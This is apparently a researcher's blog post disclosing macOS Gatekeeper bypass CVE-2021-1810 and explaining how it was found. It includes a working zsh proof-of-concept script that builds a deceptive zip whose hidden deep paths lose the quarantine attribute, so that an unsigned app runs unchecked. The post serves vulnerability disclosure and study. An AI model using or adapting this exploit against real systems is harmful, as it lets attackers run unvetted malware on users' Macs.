The discovery of Gatekeeper bypass CVE-2021-1810

By Rasmus Sten on 1 October, 2021

Rasmus Sten

1 October, 2021

TL;DR

When extracted by Archive Utility, file paths longer than 886 characters would fail to inherit the com.apple.quarantine extended attribute, making it possible to bypass Gatekeeper for those files. The effect of this was that it was possible to execute unsigned binaries on macOS despite Gatekeeper enforcement of code signatures, which would be of particular interest to targeted attackers who would want to execute a custom implant on such systems.

The vulnerability was fixed in macOS Big Sur 11.3 and Security Update 2021-002 Catalina.

 This post details how I found the bug and the simple proof of concept I made to exploit it.

Background

MacOS, the operating system that powers Apple's Mac computers, is a general-purpose operating system in the sense that Apple does not control what software the user runs. The security expectations of a modern consumer operating system have advanced along with the evolution of the software industry.

One important piece of the security puzzle in a modern operating system is a code signature. Simplified, a code signature is a cryptographic proof of two things: that the software you have downloaded comes from the author you expect it to (demonstrating authenticity) and that it has not been tampered with on its way from the author's computer to your computer (demonstrating integrity). For example, an app could be tampered with if a web server is compromised.

In the context of Mac computers, macOS (back then called Mac OS X), has long supported code signatures, but it wasn't until 2012 (with Mac OS X 10.7.5) that the operating system starting enforcing it through the Gatekeeper feature. On Macs, the code signature also typically covers any resources such icons and images bundled together with your app, either in your app bundle or in your installer package (.pkg).

Initially, Gatekeeper only required that your application was signed with an Apple Developer ID certificate. Any software developer that pays a $99 yearly fee to Apple will be granted a Developer ID certificate they can use to sign and publish their software. As Developer ID certificates are issued by Apple, this gives Apple some control over who publishes software, and it lets Apple revoke certificates for distributors of malicious software.

More recently, starting with macOS 10.15 (Catalina), Apple introduced a second security measure as part of Gatekeeper, called notarization. Notarization is a process where a developer, after they have signed their software with the above mentioned Developer ID certificate, upload the software to Apple for static analysis. This is different from the App Store review process in that it doesn't care about what the software does, but it checks that the software doesn't contain any known malware, and that it follows certain standard best practices for developing macOS software. For example, it checks that the software is built with up-to-date development tools and have hardened runtime enabled, which enforces some security controls, making it less likely that exploitable vulnerabilities occur. Notarization also allows Apple to revoke a specific version of an app should it be compromised or contain vulnerabilities instead of revoking an entire Developer ID certificate (which would make all software published by the same author invalid).

Taken together, this forms a pretty comprehensive framework for defending against malicious software. However, there is one missing piece of the puzzle that is of particular interest for this story: the macOS quarantine feature. Checking the validity of code signatures is a resource-intensive process that includes generating cryptographic hashes of the code and all its bundled resources. Furthermore, checking certificate validity involves doing an online check to Apple's servers to see if it has been revoked after it was issued. For these reasons, a full code signature and notarization check is impractical to run every time an app is launched.

The macOS quarantine aims to solve this by only performing some of these checks when new software enters the system or the first time it is launched. It actually predates Gatekeeper and was initially used to alert the user to the fact that they were about to launch an app they had downloaded from the Internet. The quarantine feature relies on an extended attribute in the macOS filesystem; extended attributes are small pieces of metadata that any macOS app can set on files. macOS has defined a special extended attribute called com.apple.quarantine that basically means "this file comes from an external source and should be treated with suspicion". Safari and other web browsers will voluntarily set this quarantine attribute on any file you download. It is the presense of this extended attribute that signals to macOS that a Gatekeeper check is required when the user double-clicks an app. If the attribute is there, Gatekeeper will be invoked to validate the app. More importantly, if it isn't there, Gatekeeper will not be invoked.

The discovery

Finding vulnerabilities isn't part of my day job. Normally I work as a software engineer with our endpoint protection products and it was when I was exploring some edge cases in our product related to long path file names I came upon this one.

To test how long path names appear in our UI, I wrote a script that made very deep directory hierarchies, and eventually I ended up created a zip file with the same content downloaded from a web server using Safari. As I was conducting my experiments I noticed several parts of macOS that started misbehaving once the total path length reached a certain limit. For example, Finder was refusing to show the folders I'd created, which sparked my interest in how macOS itself handles this edge case.

In a UNIX-like system, you have a limit defined by the PATH_MAX constant (on macOS, this is set to 1024 bytes). The name might imply that this is the maximum length of a path name, but the reality is more complex ; longer path names are perfectly valid if a bit cumbersome to work with. Simplified, if you encounter a file name which is too long, you can for example open one of its parent directories that is shorter than PATH_MAX using opendir() and open the file using a relative path instead.

I placed an executable in a very deep directory hierarchy and quickly realised that the macOS codesigning machinery will refuse to run any executable with a path longer then PATH_MAX, regardless of the existence of a com.apple.quarantine attribute and logged a code signing error. But I also observe two interesting details:

  • Safari fails to unzip my test files, but Archive Utility, which is what's run when you double-click the file in Finder, will happily unarchive it.
  • After unpacking the file with Archive Utility, the files and directories in the deeper end of the hierarchy are actually missing the com.apple.quarantine attribute that they should have inherited from the zip file during unpacking.

As it was not possible at this point to launch the executable due to the path length, it did not seem to be an exploitable bug despite the fact that it was demonstrably possible to force a new executable to be written to disk without the com.apple.quarantine attribute, meaning that Gatekeeper would not perform its checks.


As an individual folder name can only be up to 255 characters long, I created a series of directories in a deep hierarchy to create the long path name. However, if I traversed upwards in the tree, I noticed that several levels up, directories were also missing the com.apple.quarantine attribute, even though their full path names were shorter than PATH_MAX. This suggested that it could be possible to create a path name long enough for Archive Utility to drop the com.apple.quarantine attribute, but short enough to allow execution. After further investigation, I was able to run an unsigned executable from Terminal without any Gatekeeper prompts.


However, with the shorter path names, Safari attempted to unpack the file if the "Open 'safe' files for downloading automatically" option was checked, and in doing so, it preserved the quarantine attribute correctly. If the "Open 'safe' files" option was deselected, Archive Utility was launched to unpack the archive.


I then needed to create an archive with a hierarchical structure such that the path length was:

  1. Long enough to prevent Safari from unpacking the file and launch Archive Utility instead.
  2. Long enough for Archive Utility to fail to apply the com.apple.quarantine attribute.
  3. Short enough for MacOS to execute the binary.
  4. Short enough to be browsable by Finder (because the user would need to actually run the binary).

It turned out that criteria 4 could be achieved with a symbolic link; although the link itself had the quarantine attribute applied, macOS did not check this.

In order to make it more appealing to the user, the archive folder structure could be hidden (prefixed with a full stop) with a symbolic link in the root which was almost indistinguishable from a single app bundle in the archive root.

I have included a proof of concept script below. The issue existed in both Catalina and Big Sur, although the path name appear to be slightly different for the two macOS versions. Mojave does not appear to be affected.

You can watch a demo video of how it can look when this is exploited here:

CVE-2021-1810 demo video pic.twitter.com/9JmJhaJD4W

— Rasmus Sten (@pajp) April 28, 2021

The proof of concept

#!/bin/zsh -e

# This script will create a zip file exploiting CVE-2021-1810 by creating a
# directory hierarchy deep enough for Archive Utility to fail setting
# quarantine attributes on certain files while also making some path names
# long enough to prevent Safari automating unzipping from unpacking the archive.
# Finally, the script will create a symbolic link at the top level, making the
# zip file appear like a normal app bundle zip file.

payload=FakeApp.app

createddir=""
pathlen=0

# create a .prefixed directory $len charactes, and increment global path length counter $pathlen
makelongdir() {
len=$1
tdir=.$(perl -e 'print "x"x'${len})
mkdir $tdir
cd $tdir
if [ "$createddir" ] ; then
createddir="$createddir/$tdir"
else
createddir="$tdir"
fi
pathlen=$(($pathlen + $len + 2)) # len+"."+"/"
}

if ! [ -x "$payload" ] ; then
echo "Need a payload (\"$payload\") in pwd to continue!"
exit 1
fi

payloaddir=$(pwd)
targetdir=$(pwd)
startdir=$(mktemp -d)
cd "$startdir"
# Make three directories of max length 255
for i in 1 2 3 ; do
makelongdir 254 # . prefix = length 255
done

# Signpost for debugging; this should be last actual file to have quarantine attribute
touch dummyfile

# ArchiveService will unzip the file contents into a path with length 153
# characters (including final "/") on Catalina, while on Big Sur
# ArchiveService uses a 138 character temp path.
# Any files or directories whose full path exceeds PATH_MAX will not get any
# com.apple.quarantine extended attribute.
# $pathlen contains amount of bytes in path so far; for the final directory
# we can calculate how many characters we need, taking the payload name into
# account.

payloadnamelength=$(echo -n $payload|wc -c)
echo payload name length: $payloadnamelength path length: $pathlen
remaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))
makelongdir $(($remaining))

# save the path we have so far for the symlink creation later
appdir="$createddir"
cp -r "${payloaddir}/$payload" .

# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file
# ...but should still be shorter than 1017 characters, for some reason.
remaining=$((1014 - $pathlen))
makelongdir $remaining

cd "${startdir}"
# Create the symbolic link that will make the app accessible to the user
ln -s ${appdir}/$payload

rm -f ${targetdir}/poc.zip

# Create the final zip file and reveal in Finder
zip -qyr ${targetdir}/poc.zip .
echo "PoC zip containing $payload available at $targetdir"
open -R ${targetdir}/poc.zip

This PoC assumes there's an app called "FakeApp.app" in the current directory. The script packages it into a zip file. To test the PoC, place the zip file on a web server and download it using a web browser. Upon unpacking, you should be able to launch the payload app even if it's unsigned and un-notarized.

Conclusion and further reading

We have learned that there's an issue related to path name lengths in Archive Utility that prevents it from propagating the com.apple.quarantine extended attribute needed by Gatekeeper to identify files downloaded from the Internet. My next blog post explains where the bug was and how it was fixed.